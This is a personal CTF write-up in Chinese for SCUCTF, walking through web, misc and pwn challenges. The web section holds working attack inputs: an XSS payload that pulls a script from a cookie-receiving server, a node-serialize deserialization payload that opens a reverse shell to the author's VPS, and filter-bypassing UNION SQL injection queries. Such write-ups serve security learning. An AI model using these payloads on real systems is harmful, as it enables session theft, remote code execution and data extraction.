写在前面
第二次参加SCUCTF,这次比上次多做了些题,名次似乎比较靠前。
自己做了一些Web和Misc题,队友主要做Crypto。因为这次每队人数<=2,故无re队友。
总结:还是google好用,辣鸡百度,啥都搜不到。
Web部分
1.1 来了老弟
分值:80
打开给的题目链接,一张图,一个链接,点进去,一张图,一堆字。没啥头绪。
用火狐浏览器打开,F12按开,没啥思路,啥都没有。刷新几次看数据包,没啥有价值的东西。

没啥思路
看了一会,做别的题去了。
…
2小时之后
…
欸,我访问这个端口的根目录看看?
哇,问我id?这是sql注入?好啊,我试试
过了一会…
好难啊,做不出来……什么?这是另外一道题?淦!(baby sqli)
那我还是回/didi子目录看看(这时我开着F12里的网络包查看器)
咦,这是个啥?302跳转?

有一个302跳转包
点开一看,发现一个cookie: U0NVQ1RGe3kwVV9qVXM3X25lRWRfY2FyM2Z1bH0=
应该是个base64编码…找个在线解码网站一解,出flag。(我tm…)
1.2 简单的xss
分值:150
打开题目,发现有两个链接
link1为受害者的页面
link2为被xss的网站
提示flag在cookie里面,估计是在link1里面。我们需要获取link1中访问用户的cookie。
使用蓝莲花提供的开源xss接收平台
firesunCN / BlueLotus_XSSReceiver
这个仓库没有描述或主页。
用docker搭建在服务器上,使用default.js模板获取cookie。
构造xss参数...greet=<script src=http://xss_receive_website/myjs/default.js></script>
填到link1里面,等待对话框提示访问完毕。查看xss接收平台,得到cookie及flag。
(不过我4周之前开过这个docker,而且还没改密码,今天用的时候发现有六万多条来自世界各地的记录……赶紧把那个docker删掉换了个端口开新的)
(隔壁dalao:为啥要删啊?refer字段还有价值的啊)
1.3 Hello
分值:200
打开链接,显示Hello World
刷新,显示Hello ajin
F12,看网页源码,发现一句注释:This file is backuped at app.js.bak
进这个文件一看,是网站源码

网站源码
这个cookie似乎是base64,解码一看,是个json。
唔,看来是三哥写的题,让我google试一试
构造关键字:hello ajin ctf
然后就有原题了?还是作者自己写的…
读了一下,下载作者提供的payload生成脚本
指定我的服务器的ip和监听的端口,生成payload
现在我们生成反序列化的 payload,并在函数后面添加 IIFE 括号()
{"name":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(...))}()"}
然后对其进行base64编码
连上vps的ssh,输入命令nc -lvnp PORT
其中PORT是刚才脚本生成的时候指定的端口,进行监听
将刚才base64编码过的payload填进cookie里面,重新发包

发送payload
看服务器,得到shell

得到shell
ls一下,发现一个flag文件
cat flag
,拿到flag
1.4 baby sqli
分值:300
过滤了and or ‘ 和空格,空格可以用注释/**/
代替,union也需要大写来混淆
尝试爆破表名
?id=1/**/Union/**/select/**/1,2,3,TABLE_NAME/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()/**/order/**/by/**/3#
得到表名:flag
其实好像还可以这样得到用户名、版本信息、数据库名
?id=1/**/Union/**/select/**/1,user(),version(),database()/**/order/**/by/**/3#
尝试爆破字段名:
?id=1/**/Union/**/select/**/1,2,3,flag/**/from/**/flag/**/order/**/by/**/3#
得到内容:
salary |
淦!
再次尝试:
id=1/**/Union/**/select/**/1,2,3,COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x666c6167/**/order/**/by/**/3#
其中0x666c6167为表名flag的十六进制
得到一个列名:guess
?id=1/**/Union/**/select/**/1,2,3,COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x666c6167/**/order/**/by/**/3/**/limit/**/1,1#
得到第二个列名:fffffffl11lgg
修改limit/**/1,1
为limit/**/2,2
得到第三个列名secert
查询三个列里的内容:
?id=1/**/Union/**/select/**/1,2,3,guess/**/from/**/flag/**/order/**/by/**/3#
?id=1/**/Union/**/select/**/1,2,3,fffffffl11lgg/**/from/**/flag/**/order/**/by/**/3#
?id=1/**/Union/**/select/**/1,2,3,secert/**/from/**/flag/**/order/**/by/**/3#
得到:
- what happened?
- scuctf is found!!(不是个表了)
- I can not tell you!
嗯?啥玩意?
陷入僵局
,,,
问了问隔壁dalao
为什么返回页面不一样了?就像使用and这些被屏蔽的关键字一样?因为过滤了关键字scuctf。
于是我们只要提取几位就好。
google来google去
发现一个mid()函数好像可以用
mid(字段,起始位,终止位(可选))
构造payload:
?id=1/**/Union/**/select/**/1,2,3,mid(fffffffl11lgg,2)/**/from/**/flag/**/order/**/by/**/3#
即从第二位开始显示。
得到残缺的flag,手动补全即可。
Misc部分
2.1 佛说,让你签个到
分值:80
首先这个题不能直接复制
所以需要把这个平台的源码改一改,去掉这一块里的disabled=""
,或者直接从源码里复制。
然后百度了一下(直接把题目塞进搜索框),啥都没有
google了一下,发现这其实是一种编码方式,叫“与佛论禅”,感觉类似和谐主义价值观编码,都可以拿来发种(手动滑稽
编解码网站:链接
解出来让关注某公众号并发送指定内容。
得到flag。
2.2 流量分析
分值:150
下载题目,用wireshark打开,一看是USB协议。
google搜了下怎么解,发现有写好的mapping,对应鼠标键盘的数据包内容。
这篇博文已经写得很详细了
脚本如下,感谢@Angel_kitty
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." } nums = [] keys = open('usbdata.txt') for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16)) # 00:00:xx:.... keys.close() output = "" for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]' print('output :n' + output)将上面的脚本保存为一个py文件,执行
python usb.py problem.pcapng
,得到一串神秘文字,应该是flag,手动加上{},提交成功。
2.3 Stream
分值:150
得到一个rar文件,打不开。题目说,“flag藏在看不见的地方,在那之前,还要干件事”
那就用010editor打开看看,果然文件头少了几位
查了下rar文件头,应为52 61 72 21 1A 07 00,补全就好。
但我平时用的解压软件是7-zip,解压出来的flag.txt文件告诉我们“flag不在这里”,那在哪?
又看了看010editor,根据插件的高亮显示,似乎下面还有一段内容:
发现有一个关键字
STM
,以及一个似乎叫“realflag.txt”的文件。
查了查发现这是一种叫做“NTFS流文件”的标识符。顺着这个线索继续查,了解到必须使用winrar解压,才回提取出流文件。
这个流文件可以通过一个叫做“NTFSStreamEditor”的软件扫出来。注意扫描的路径是较高一级的路径(我扫低级路径啥都没有,花了我两个小时各种查资料)
得到flag。
2.4 find others
分值:150
拿到题,是1/4个反色之后的二维码。题目让我们”find other parts”,也没有别的地方可以找,肯定是把四个文件杂糅在一起了。
尝试用binwalk提取,得到4个二进制文件和4个zlib文件。但似乎没什么用。
用010editor打开,观察了一会,发现其实是把四个文件直接拼在了一起,删掉了后三张图的文件头。
建4个空文件,手动把四段分别分配,并补上文件头,得到二维码的四个角。
用画图把四个角拼接起来,再找个在线反色工具,扫二维码,得到flag。
2.5 藏在最下面的flag
分值:200
题目是对川大的介绍。
flag在最下面?那我改图片高度看看? ……. 好像没有啥东西。
试试LSB?打开Stegsolve,一看,发现0通道果然有东西。
通过Data Extract,唔,好像啥都不是。
换bit plane order试试?欸,原来flag在最下面是这意思?这就有PNG头了。
接下来只要Save Bin,保存位png格式的文件,再用010editor去掉前面多余的几位数据,留下正常的文件头,再把png文件尾后面的多余数据全删掉。
最后得到一个二维码,解码即为flag。
2.3 婉姐姐的内存镜像
分值:300
给了一个vmem文件,以前好像做过类似的,再google一下看看怎么做。
了解到需要用一个叫Volatility的工具。
把文件扔进kali虚拟机,用volatility看看有啥信息。
先看看这是啥系统volatility -f problem.vmem imageinfo
WinXPSP2x86
然后似乎没了方向。
看看题,哦,婉姐姐才复制过flag?
那就看剪贴板是吧?
看看文档怎么说
了解到可以使用一个插件clipboard
volatility -f problem.vmem --profile=WinXPSP2x86 clipboard
感觉这是个base64编码之后的数据,但是没显示完?
再仔细读下文档,发现如果需要看完整数据,得加上参数-v
于是就有
看起来是同样的数据,手动补全中间几位(不好复制,不如手动),再进行base64解码,得到flag。
PWN部分
3.1 babypwn
分值:100
只知道一点点pwn知识,不过既然题里说“这题是真的baby”,那我就再信一回。
用ida-64打开,研究下main函数。
由于还没有学汇编,只能看伪代码……
大致意思是要异或v6和0x1A0A,如果等于0x3939则返回shell
这个v6是被初始化为了0x2300,按位异或操作之后得到的不是0x3939。进行逆运算,得到参与运算的v6值为0x2333。
所以是v6被挤掉了一部分。
看看栈空间:
输入的buf空间有16位,注意到这个地址是负的,故高地址是数据的低位。

写个PPT来说
通过netcat连上题目地址
输入payload,拿到shell
吐槽:这字符画,感觉是CTP啊,不是F
写在最后
我还是太菜了啊,还需要多多练习。
没有评论
你先离开吧:)